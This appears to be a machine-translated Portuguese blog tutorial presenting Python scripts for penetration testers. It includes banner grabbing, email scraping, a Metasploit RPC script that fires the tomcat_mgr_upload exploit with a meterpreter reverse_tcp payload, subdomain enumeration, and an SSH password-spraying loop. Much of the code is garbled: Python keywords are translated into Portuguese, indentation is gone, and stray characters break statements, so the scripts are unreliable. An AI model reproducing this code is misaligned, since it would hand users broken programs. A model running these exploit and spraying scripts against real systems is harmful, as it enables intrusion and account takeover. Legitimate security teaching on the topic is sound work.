Scripts em Python para Pentesters: Ferramentas que Você Mesmo Pode Criar

O teste de penetração, frequentemente chamado de hacking ético, é um aspecto vital da segurança cibernética. É o processo de identificar e explorar vulnerabilidades em um sistema para protegê-lo contra ameaças potenciais. Embora existam inúmeras ferramentas disponíveis para testes de penetração, o Python continua sendo o favorito entre os testadores de penetração devido à sua versatilidade, facilidade de uso e um rico ecossistema de bibliotecas e frameworks. Neste artigo, vamos nos aprofundar em técnicas avançadas de script em Python para testadores de penetração e fornecer alguns scripts úteis para aprimorar seu fluxo de trabalho.

Técnicas avançadas de script Python

  1. Programação de soquetes para exploração de rede:
  2. A biblioteca Python socketpermite que testadores de penetração criem ferramentas de rede personalizadas para diversas tarefas, como varredura de portas, captura de banners ou até mesmo a criação de exploits personalizados. Ao usar a programação por sockets, você obtém controle refinado sobre as interações de rede.
  3. Aqui está um script Python simples para executar um banner grabber:
import socket 

target = "example.com"
port = 80

def banner_grab ( target, port ):
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
banner = s.recv( 1024 )
print ( "[+] Banner: " + banner.decode().strip())
s.close()
except Exception as e:
print ( "[-] Erro: " + str (e))

banner_grab(target, port)
  • Web Scraping para Reconhecimento:
  • As bibliotecas de web scraping do Python requestssão BeautifulSoupinestimáveis ​​para coletar informações de sites. Testadores de penetração podem usar web scraping para coletar dados, como endereços de e-mail, subdomínios ou vazamento de informações confidenciais, que podem ser cruciais para um ataque.
  • Aqui está um script Python para extrair endereços de e-mail de uma página da web:

importar solicitações
do bs4 importar BeautifulSoup
importar re

url = "https://example.com"

def scrape_emails ( url ):
resposta = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser' )
emails = re.findall( r'\S+@\S+' , soup.get_text())
retornar definir (emails)

email_set = scrape_emails(url)
para email em email_set:
print ( "[+] E-mail encontrado: " + email)
  • Automatizando Exploits com a API Metasploit:
  • O Metasploit Framework é uma ferramenta popular de teste de penetração que permite automatizar o processo de exploração. Você pode interagir com o Metasploit usando sua API REST em Python, permitindo que você crie scripts para a exploração de vulnerabilidades.
  • Para usar a API Metasploit em Python, você pode instalar a msfrpcbiblioteca e criar scripts para automatizar tarefas de exploração.

de msfrpc importar MsfRpcClient

# Conectar ao servidor Metasploit RPC
cliente = MsfRpcClient ( 'seu_ip_metasploit' , porta = 55553 )

# Listar exploits disponíveis
exploits = client.modules.exploits
para exploit em exploits:
print ( "[+] Exploit: " + exploit)

# Executar um exploit
exploit = ​​exploits. use ( 'exploit/multi/http/tomcat_mgr_upload' )
exploit[ 'RHOSTS' ] = 'ip_alvo'
exploit. execute (payload = 'payload/meterpreter/reverse_tcp' )

Scripts Python úteis para testes de penetração

  1. Script de enumeração de subdomínio:
  2. A enumeração de subdomínios é uma parte crucial do reconhecimento. O script a seguir utiliza o subprocessmódulo para executar a popular ferramenta Sublist3rde descoberta de subdomínios:

importar subprocesso

domínio = "exemplo.com"

def enumerate_subdomains ( domínio ):
tentar :
subprocess.run([ "python3" , "Sublist3r.py" , "-d" , domínio])
exceto Exceção como e:
print ( "[-] Erro: " + str (e))

enumerate_subdomains(domínio)
  • Script de pulverização de senhas:
  • A pulverização de senhas é uma técnica usada para testar senhas fracas em várias contas. O seguinte script Python usa a paramikobiblioteca para automatizar a pulverização de senhas via SSH:

importar paramiko

target = "ssh.example.com"
nome de usuário = "usuário"
senhas = [ "senha1" , "senha2" , "senha3" ]

def password_spray ( target, nome de usuário, senhas ):
para senha em senhas:
tente :
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(target, nome de usuário=nome de usuário, senha=senha)
print ( "[+] Senha encontrada: " + senha)
ssh.close()
break
except paramiko.AuthenticationException:
print ( "[-] Senha incorreta: " + senha)
except Exception as e:
print ( "[-] Erro: " + str (e))

password_spray(target, nome de usuário, senhas)

Conclusão

Python é uma ferramenta indispensável para testadores de penetração, oferecendo a flexibilidade necessária para criar scripts personalizados e automatizar diversas tarefas durante o processo de teste. Os scripts mencionados neste artigo são apenas a ponta do iceberg; os recursos do Python são vastos e limitados apenas pela sua criatividade e pelas necessidades dos seus testes de penetração. Ao dominar essas técnicas avançadas de script em Python, você pode aumentar sua eficácia como testador de penetração e fortalecer seus esforços de segurança cibernética. Boas atividades de hacking!

Comentários

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *